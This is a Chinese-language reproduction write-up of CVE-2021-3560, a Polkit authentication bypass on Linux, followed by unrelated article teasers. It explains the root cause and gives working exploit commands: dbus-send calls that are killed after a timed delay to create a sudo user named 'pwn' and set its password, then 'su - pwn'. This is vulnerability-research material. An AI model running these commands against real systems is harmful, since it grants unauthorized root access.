CVE-2021-3560漏洞复现及原理分析

简介: CVE-2021-3560漏洞复现及原理分析

01 漏洞介绍


CVE-2021-3560漏洞存在于系统服务Polkit中,同时因为Polkit被Systemd所调用,因此所有默认安装了Systemd的Linux发行版都会使用Polkit。

该漏洞的成因是执行dbus-send命令后在认证完成前强制终止引发错误,而Polkit未正确处理错误而导致允许无特权的用户添加一个sudo用户进行权限提升。


正常情况下执行流程如下:

  1. dbus-send会要求帐户守护程序创建一个新用户
  2. account-daemon从dbus-send接收D-Bus消息,该消息包括了发送者的唯一总线名称,假设它为“:1.96”,且此名称无法伪造
  3. account-daemon询问Polkit消息:1.96是否已经被授权创建用户
  4. Polkit向dbus-daemon询问消息的UID:1.96
  5. 如果消息:1.96 的UID为“0”,则Polkit将会立即授权该请求。如果不是,将会向身份验证代理发送允许授权请求的管理员用户列表
  6. 身份验证代理弹出一个对话框向用户进行密码认证
  7. 用户输入后,身份验证代理将密码发送给Polkit
  8. 身份验证通过后,Polkit将“yes”发送给帐户守护程序。
  9. account-daemon创建新的用户帐户。


问:为什么强制终止dbus-send会导致身份验证绕过?

答:因为该漏洞出现在上述执行流程的第4步。如果Polkit向dbus-daemon询问消息:1.96的UID,而消息:1.96不存在时就会引发错误,并且Polkit未能正确处理此错误:它没有拒绝请求,而是将请求视为来自UID 0的进程,也就是说,它会认为该请求来自root进程,因此它会直接授权该请求。


02 漏洞复现


复现所用到的环境为

Ubuntu 20.04.2 LTS


首先使用如下命令查看系统运行Polkit的过程需用到多少时间:


time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwn string:"pwn your host" int32:1

返回结果为



real 0m2.939suser 0m0.000ssys  0m0.038


然后输入第二条命令,设置将进程kill的时间为sys运行时间的一半左右(这样是为了提高成功率,这点后面会进行解释):


dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwn string:"pwn your host" int32:1 & sleep 0.024s ; kill $!

如果利用成功可添加一个名为pwn的sudo权限用户,如果一次不成功可以多次尝试(笔者曾出现多次都没成功的情况,所以如果遇到这种情况不要着急),如果多次不成功可以尝试修改kill进程的时间

输入id pwn查看用户,此时已经成功利用



接下来使用openssl passwd -5命令生成一条密文,内容随意,这里使用qwertyuiop。这是为了添加pwn用户的登录密码,由于无法使用明文,所以需要使用ssl加密


接下来是第三条命令,注意将uid、kill时间、密码进行相应的修改:


dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'passwd' string:GoldenEye & sleep 0.008s ; kill $!

执行

同样,如果不成功请尝试多次

最后,试着用刚才添加的密码登录pwn用户su - pwn

成功

可以看到已经成功登录新创建的sudo用户pwn,到这一步提权就算圆满完成

视频演示


https://www.bilibili.com/video/BV12o4y1y7gC



03 影响版本


红帽企业版RHEL 8

Fedora 21及以上版本

Debian测试版("bullseye")

Ubuntu 20.04(Hirsute Hippo)

Ubuntu 20.10(Groovy Gorilla)

Ubuntu 21.04LTS(Focal Fossa)



04  后记


为什么kill进程的时间不确定?因为Polkit在不同的代码路径上多次向dbus-daemon请求消息的UID时,这些代码路径大多数都能正确处理,只有其中之一会引发错误。因此如果dbus-send命令提前终止(kill进程的时间过早),它将正确地处理该问题并且拒绝请求。所以关键在于需要在适当的时间kill掉进程,所以多数情况下需要执行多次才能成功,而这也是这个漏洞能存在七年之久而没被发现的原因。



05 参考文档



https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/https://ubuntu.com/security/CVE-2021-3560
相关文章
|
安全 NoSQL API
【漏洞复现】YApi NoSQL注入导致远程命令执行漏洞
YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。
3926 1
|
存储 JSON 监控
eBPF 深度探索: 高效 DNS 监控实现(下)
eBPF 深度探索: 高效 DNS 监控实现(下)
1292 0
|
搜索推荐 小程序 物联网
基于HarmonyOS 5.0的元服务:技术架构、应用场景与未来发展【探讨】
鸿蒙OS 5.0推出的元服务(Super Service)是一种创新的服务架构,旨在提供无缝的跨设备体验。它具备无感知启动、跨设备共享和智能推送等特点,适用于智能家居、车载系统、即时通讯等场景。与传统应用及微信小程序相比,元服务更轻量、跨平台能力强,且无需下载安装。未来,元服务将通过AI增强智能化,并扩展到更多行业,如智慧医疗、智能零售等,推动物联网和智慧城市的发展。然而,其发展仍面临平台依赖、隐私安全等挑战。
基于HarmonyOS 5.0的元服务:技术架构、应用场景与未来发展【探讨】
|
存储 对象存储 索引
对象存储OSS-m3u8视频私有权限
当上传至私有存储桶的M3U8视频缺少签名信息时,会导致播放失败(403错误)。解决方案是使用OSS的动态签名机制,在首次访问M3U8文件时,通过在URL中添加`x-oss-process=hls/sign`参数,OSS将自动对所有TS切片地址进行签名,确保视频正常播放。
1610 2
|
负载均衡 监控 网络协议
在nginx中使用proxy protocol协议
我们已经介绍了haproxy提出的proxy protocol协议,通过proxy protocol协议,服务器端可以获得客户端的真实IP地址和端口,从而可以进行一些非常有意义的操作。 为什么获得客户端的真实IP地址会非常有意义呢?
|
Web App开发 JSON 安全
【漏洞复现】Yapi接口管理平台远程代码执行漏洞
Yapi接口管理平台远程代码执行漏洞,攻击者可通过特定Payload对目标实施恶意攻击,获取敏感信息,操控服务器指令。
2331 1
|
SQL 缓存 安全
Memcached 未授权漏洞利用
Memcached 未授权漏洞利用
2664 0
|
Java API 数据处理
Java 8新特性之Stream API详解
【5月更文挑战第28天】本文将详细介绍Java 8中的一个重要新特性——Stream API。Stream API是Java 8中引入的一种新的数据处理方式,它允许我们以声明式的方式处理数据,使得代码更加简洁、易读。文章将从Stream的基本概念、创建方式、常用操作以及使用场景等方面进行详细讲解,帮助读者深入理解并掌握Stream API的使用。
|
安全 PHP 数据安全/隐私保护
WAF攻防-菜刀&冰蝎&哥斯拉&流量通讯&特征绕过&检测反制&感知
WAF攻防-菜刀&冰蝎&哥斯拉&流量通讯&特征绕过&检测反制&感知
658 0
ping 返回 no buffer space available 解决方法
1. 云主机当前常规并发比较大,  约有 1900 个常规连接 [root@chao-data07 ~]# netstat -nt | grep EST | wc -l 1867 2. 当前出现 arp 表不正常现象 见到下面错误信息 Mar 24 14:06:31 chao-data07 dhclient[1112]: DHCPREQUEST on eth0 to 10.
5279 0